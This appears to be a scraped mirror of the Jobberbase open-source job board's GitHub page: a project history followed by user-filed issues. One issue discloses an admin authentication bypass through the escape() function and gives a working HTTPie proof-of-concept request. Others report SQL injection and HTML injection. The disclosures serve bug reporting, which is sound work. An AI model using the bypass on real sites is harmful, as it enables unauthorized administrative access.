Giter Site home page Giter Site logo

jobberbase's Introduction

Jobberbase

Jobberbase is an open-source job board platform that enables the creation of job sites.

For comparison, Jobberbase is for job sites what WordPress is for blogs.

Since launch, Jobberbase was downloaded more than 100,000 times.

Demo

See it in action at http://jobberbase.com/demo/.

Install

See how to install it at https://github.com/filipcte/jobberbase/wiki/How-to-install-Jobberbase.

A bit of history

Jobberbase was born in October 2007.

Filip had previously created http://www.jobber.ro, a tech-only job board that quickly became known and loved in the Romanian tech community.

As an experiment and being influenced by how Ruby on Rails (framework) came out of Basecamp (product), Filip decided to open-source jobber, 3 months after launch.

Jobberbase was the first open-source job board platform, a breath of fresh air in a world where all other similar software was legacy, ugly and paid-for, thus challenging the status quo.

Over the next few years, Jobberbase gained popularity and a few core contributors, most notably Lavi & Cosmin Mendrea and Radu Lucaciu who were also heavily involved in the community, helping people out. Other developers started to make a living by customising and extending Jobberbase for their clients. New visual themes were created...

Good times!

Unfortunately for Jobberbase, life happened and the project slowly fell into oblivion. It was nice, it had potential, but we just didn't have time...

Status quo (March 2014)

Jobberbase saw its last release in 2010 with version 1.9 and it's been gathering dust since then. What's currently in this repository is a version 2.0 beta. This version was highly anticipated by the community a few years ago and it never got to see the light of day. It's about 95% there, with some areas rewritten and several improvements.

The list of what we want to do is long -- both on the frontend (improving the UX through a responsive theme) and the backend (the "framework" and architecture is old, really old).

It's quite possible that job boards are dying as recruiting is moving more and more to social media and other channels, so at the time of writing this, actually devoting time to Jobberbase seems risky.

But you know what? I, Filip, believe in it. I believe the world still needs a good job board platform and I'd like to invite anyone who believes the same, to join in.

For everyone who was ever involved with Jobberbase, THANK YOU. We're back!

'nuf said... gotta start doing.

A few links...


ENJOY!

jobberbase's People

Contributors

filipcte avatar jobsearch avatar rimas-kudelis avatar wesker-12 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

jobberbase's Issues

Undefined constant: MINUTES_BETWEEN_APPLY_TO_JOBS_FROM_SAME_IP

It seems we're attempting to use an undefined constant in some of our files. Here's the error text:
Notice: Use of undefined constant MINUTES_BETWEEN_APPLY_TO_JOBS_FROM_SAME_IP - assumed 'MINUTES_BETWEEN_APPLY_TO_JOBS_FROM_SAME_IP' in .../jobberbase/public/page_apply.php on line 74

Update Recaptcha

Just let you know Jobberbase need to be update recaptcha library.

Thanks

Is this still working?

Hello;

Is this still functional? demo is not working, no guides. last update was 2yrs ago

class.JobApplication.php is prone to SQL injections

An application text, which included a quotes symbol, failed with the following message:
`Fatal error: Uncaught exception 'QueryException' with message 'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Get It Done" personality and professional attitude. Always seeking to learn new ' at line 5' in .../jobberbase/public/_lib/class.Db.php:34
Stack trace:
#0 .../jobberbase/public/_lib/class.JobApplication.php(33): Db->query('INSERT INTO job...')
#1 .../jobberbase/public/page_apply.php(88): JobApplication->Apply('157.83.97.1')
#2 .../jobberbase/public/index.php(87): require_once('...')
#3 {main}

thrown in .../jobberbase/public/_lib/class.Db.php on line 34`

Broken links

Hi,

I have installed the software on windows machine and I could see the first page loaded fine but all the links are broken. I see missing folders like post, jobs etc

Issue with job categories

Hi,
I am unable to delete or add a new job category can anyone suggest a fix for this?
Thanks
Jessi.

Variable HTTPS doesn't exists in $_SERVER array

I got this error:

Notice: Undefined index: HTTPS in C:\xampp\htdocs\jobberbase\public\page_job.php on line 71

The solution is to change the condition from this:
$_SERVER["HTTPS"] == "on"

to this:
isset( $_SERVER["HTTPS"] ) && strtolower( $_SERVER["HTTPS"] ) == "on"

I supose there is the same issue in other files.

How to switch to HCAPTCHA?

HI everyone, can you provide correct code to switch to hcaptcha, getting to many spammers-need more security.
hacptcha

Strict Standards Pear error

Hi man, I'm getting this error using latest XAMPP (PHP: 5.5.11):

Strict Standards: Non-static method PEAR::raiseError() should not be called statically, assuming $this from incompatible context in C:\xampp\htdocs\jobberbase\_lib\CacheLite\Lite.php on line 538

Strict Standards: Non-static method PEAR::raiseError() should not be called statically, assuming $this from incompatible context in C:\xampp\htdocs\jobberbase\_lib\CacheLite\Lite.php on line 538

Where:
when trying to edit http://localhost/jobberbase/admin/links/primary/

Thanks

Strings for translation

Hi, I'm trying jobberbase in spanish, but some items are still in English, attached are the areas that are in english in the frontend:
and in the backend everything seems to be in english:

home

adminbackend

"escape" related vulnerabilities

Description

I review some project who used jobberBase and found serious vulnerabilities related to using "escape" function.
For example - unauthorized access to administration panel.
Let's look at admin login page:

if(!empty($_POST['action']) && $_POST['action'] == 'login')
{
    escape($_POST);
    $errors = array();

And at escape function:

function escape($what, $dontStrip=array())
{
    global $db;
    foreach ($what as $variable => $value)
    {
        if (is_string($value))
        {
            if (in_array($variable, $dontStrip))
            {
                $GLOBALS[$variable] = $db->real_escape_string($value);
            }
            else
            {
                $GLOBALS[$variable] = $db->real_escape_string(strip_tags($value));
            }
        }
        else
        {
            $GLOBALS[$variable] = $value;
        }
    }
}

As you can see, "escape" function may overwrite any globals (and superglobals) variables from POST or QueryString data.
JobberBase check authorization by flag in user session AdminId:

#page only if the admin is not logged in
#else show homepage
if(!isset($_SESSION['AdminId']))
{
    require_once 'page_login.php';           
}
else
{               
    require_once 'page_home.php';
}
break;

So all we need to access the administration panel - send _SESSION[AdminId] in the POST-data. No passwords or login:)

PoC

I have tested on version 1.9 and 2.0:

  • First of all, make autorized session (http://bus.my/jobs/ - root of jobberBase):
$ http -pBHh -f http://bus.my/jobs/admin/ action=login '_SESSION[AdminId]'=1 Cookie:'PHPSESSID=mysessid'
POST /jobs/admin/ HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 36
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Cookie: PHPSESSID=mysessid
Host: bus.my
User-Agent: HTTPie/0.9.2

action=login&_SESSION%5BAdminId%5D=1

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: keep-alive
Content-Encoding: gzip
Content-Type: text/html; charset=UTF-8
Date: Fri, 07 Aug 2015 11:59:59 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: nginx/1.8.0
Transfer-Encoding: chunked
X-Powered-By: PHP/5.6.11

  • Great! Now use this authorized session "mysessid" in browser
  • Boom, we are in administration panel:
    2015-08-07-140041

P.S. It seems to me that the "escape" function is the most disgusting thing in the project and will make a lot more vulnerabilities (LFI, RFI, Logic, etc)

posts showing with long delays

Please help me, im not technical, when i am posting jobs they're showing (as well not showing on admin panel) with about a 1 day delay , where can be a problem? thanks

HTML injection

I see it in Jobberbase GoogleCode page, try it in my dev environment, and there it was.

What steps will reproduce the problem?
1.In the search box type a "marquee" tag with some text (No need to press enter)
2.You will see a scrolling text as "test"

What is the expected output? What do you see instead?
Filter unwanted characters, use htmlentities etc.

Original issue: http://code.google.com/p/jobberbase/issues/detail?id=40

Logo not changing

Despite changing jobber-logo.gif and keeping width to 375 amd height 82 px , it is not changing.
I have changed all the images but donno where it is still getting the image from.

email validation bug

applying for a job with many email addresses not possible.

If you try to apply with [email protected], you will get a red validation error above the form that tells you to contact the admin.

Can you help?

Install files are corrupt due to being save as BINARY not ASCII

It appears that several of the site install files were supposed to be saved as ASCII files (like the PHP files) but were saved as BINARY files in error. This is related to the install packages ready for download from http://www.jobberbase.com and the auto-install package from Softaculous servers.

I have verified at least 20 different files so far, and still counting..

After my install, I have had to FTP files from my shared hosting server over my computer, as a BINARY file so I could copy-n-paste the contents into a new text file saved as ASCII, and then re-upload as ASCII to my server. Re-saving files as ASCII has corrected numerous errors being reported from the server.

This is going to be brutal to find all the ASCII files that were accidentally saved as BINARY.

(Darn that invisible \r verses \n) (That'll get you every time!)

Is it possible for a developer to re-save the install package with files saved in their correct format? (php files as ASCII, pics as BINARY, etc)

This will most likely solve a lot of issues for people who love Jobberbase.

Unknown if when that's done a newer version number should be used to differentiate between install packages with bad Binary files, and a repaired install package. Maybe V2.1 ?

Thank you all for the wonderful work you do :)

Error al momento de Aplicar a un empleo

Existe un error al momento de aplicar a los empleos, pues permite registrar la información de la persona que aplica sobre la base de datos, sin embargo, no sube el correspondiente archivo (CV) suministrada por el interesado, quedando el campo cv_path en blanco y la carpeta "Uploads" vacía.

Alguien ha solucionado esta inconsistencia?

image

image

post new job error

both on site i installed and softaculous demo

Notice: Undefined index: summary in /home/soft/public_html/jobberBase/_lib/class.Job.php on line 919

Warning: Cannot modify header information - headers already sent by (output started at /home/soft/public_html/jobberBase/_lib/class.Job.php:919) in /home/soft/public_html/jobberBase/_lib/function.redirect_to.php on line 30

Multilanguage Jobberbase

I set up a website with free job ads for people from around the world who would like to work in Poland. I would like to add a second language on a separate domain. I translated the content of translations_xx.ini and email file. Both domains share the database, but I would like to split the admin pages so I could have menu items and pages in different languages. Is there any way to do that without rewriting the code and altering the database?

Hi

From the admin panel I turned on captcha and now I cant logging to the admin panel anymore. Where can i change these setting manually?

404 errors on demo

Hi, I'm getting many errors:

GET http://www.jobberbase.com/demo/img/footer-bg.png 404 (Not Found) jquery.js:4
GET http://www.jobberbase.com/demo/_tpl/hireme/img/grad.png 404 (Not Found) jquery.js:4
GET http://www.jobberbase.com/demo/img/header-bg.png 404 (Not Found) jquery.js:4
Resource interpreted as Image but transferred with MIME type text/html: "http://www.jobberbase.com/demo/img.php?q=site_logo". jquery.js:4
GET http://www.jobberbase.com/demo/img/bg-body.png 404 (Not Found)

jobberbase theme

jobberbase theme is missing the style.css stylesheet.' who can help?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.